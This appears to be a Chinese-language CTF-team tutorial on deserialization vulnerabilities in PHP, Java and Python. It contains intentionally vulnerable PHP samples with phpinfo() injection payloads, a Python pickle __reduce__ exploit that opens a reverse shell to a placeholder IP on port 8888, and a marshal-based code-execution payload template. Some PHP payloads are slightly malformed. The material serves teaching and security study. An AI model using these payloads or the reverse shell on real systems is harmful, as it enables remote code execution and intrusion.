一文了解反序列化漏洞
本篇总结归纳反序列化漏洞 包括php、java、python三种语言
序列化是将复杂的数据结构(如对象及其字段)转换为“更平坦”格式的过程 这种格式可以作为连续的字节流发送和接收 序列化数据使以下操作更简单:
反序列化是将字节流还原为原始对象的过程
许多编程语言都提供对序列化的内在支持
序列化在内部没有漏洞 漏洞在反序列化过程
下面按各种语言归纳
PHP通过serialize()
和unserialize()
来进行序列化和反序列化。
例子 考虑User具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
可以解释如下:
O:4:"User" 具有4个字符的类名称的对象 "User"
2 对象具有2个属性
s:4:"name" 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos" 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn" 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1 第二个属性的值是布尔值 true
魔术方法就是在某些条件下自动执行的函数
参考官方文档 一些魔术方法如下
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
最重要的几个
__wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
PHP反序列化漏洞出现的原因:
通过几个例子来感受下
<?php
class Test{
var $test = "123";
function __wakeup(){
$fp = fopen("test.php", 'w');
fwrite($fp, $this -> test);
fclose($fp);
}
}
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);
require "test.php";
?>
__wakeup()
payload
1.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
注:CVE-2016-7124漏洞:序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行 例子参见unserialize3
<?php
class Test1{
function __construct($test){
$fp = fopen("shell.php", "w");
fwrite($fp, $test);
fclose($fp);
}
}
class Test2{
var $test = "123";
function __wakeup(){
$obj = new Test1($this -> test);
}
}
$test = $_GET['test'];
unserialize($test);
require "shell.php";
?>
payload
2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
class Test{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
本结束时就会调用destruct函数,同时会覆盖test变量
payload
3.php?test=O4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
序列化用到了Java.io.ObjectOutputStream
类中的writeObject()
反序列化用到了Java.io.ObjectInputStream
类中的readObject()
实现Serializable和Externalizable接口的类的对象才能被序列化
对象序列化包括如下步骤:
对象反序列化的步骤如下:
示例
import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/
public class Test{
public static void main(String args[]) throws Exception {
//定义obj对象
String obj = "helloworld";
// 将序列化对象写入文件中
FileOutputStream fos = new FileOutputStream("lcx.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件中读取数据
FileInputStream fis = new FileInputStream("lcx.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
实现功能
同样关注反序列化操作函数并判断输入是否可控,如
功能如下
攻击过程如下
有很多经典案例 如
Python中的序列化操作是通过pickle
和 cPickle
模块(操作是一样的)
以os.system('whoami')
为例
其pickle
序列化后为
cos
system
(S'whoami'
tR.
各部分
c
:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中(
:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组t
:从堆栈中弹出对象,直到一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中S
:读取引号中的字符串直到换行符处,然后将它压入堆栈,即表示本行的内容一个字符串R
:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中,即执行紧靠自己左边的一个括号对(即(
和t
之间)的内容.
:结束pickle序列化:
pickle.dump(obj, file, protocol=None,)
obj
表示将要封装的对象file
表示obj
要写入的文件对象file
必须以二进制可写模式打开,即wb
反序列化
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"
file
必须以二进制可读模式打开,即rb
示例:
import pickle
data = ['aa', 'bb', 'cc']
with open("./test.pkl", "wb") as f:
pickle.dump(data, f)
with open("./test.pkl", "rb") as ff:
d = pickle.load(ff)
print(d)
# ['aa', 'bb', 'cc']
不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换
序列化:
pickle.dumps(obj)
反序列化
pickle.loads(bytes_object)
示例:
# python3
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)
# b'x80x03]qx00(Xx02x00x00x00aaqx01Xx02x00x00x00bbqx02Xx02x00x00x00ccqx03e.'
d = pickle.loads(p)
print(d)
# ['aa', 'bb', 'cc']
# python2
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
# (lp0
# S'aa'
# p1
# aS'bb'
# p2
# aS'cc'
# p3
# a.
d = pickle.loads(p)
print d
# ['aa', 'bb', 'cc']
python中的类有一个__reduce__
方法,类似与PHP中的__wakeup
_reduce__
方法,即用class A(object)声明的类import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)
监听8888端口即可
import pickle
import marshal
import base64
def code():
import os
os.system('whoami')
code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle
payload
import marshal
import base64
def code():
pass # any code here
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
攻防世界 web高手进阶区 10分题Confusion2
对反序列化漏洞做了个归纳小结 后续有新的学习再更新
参考
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。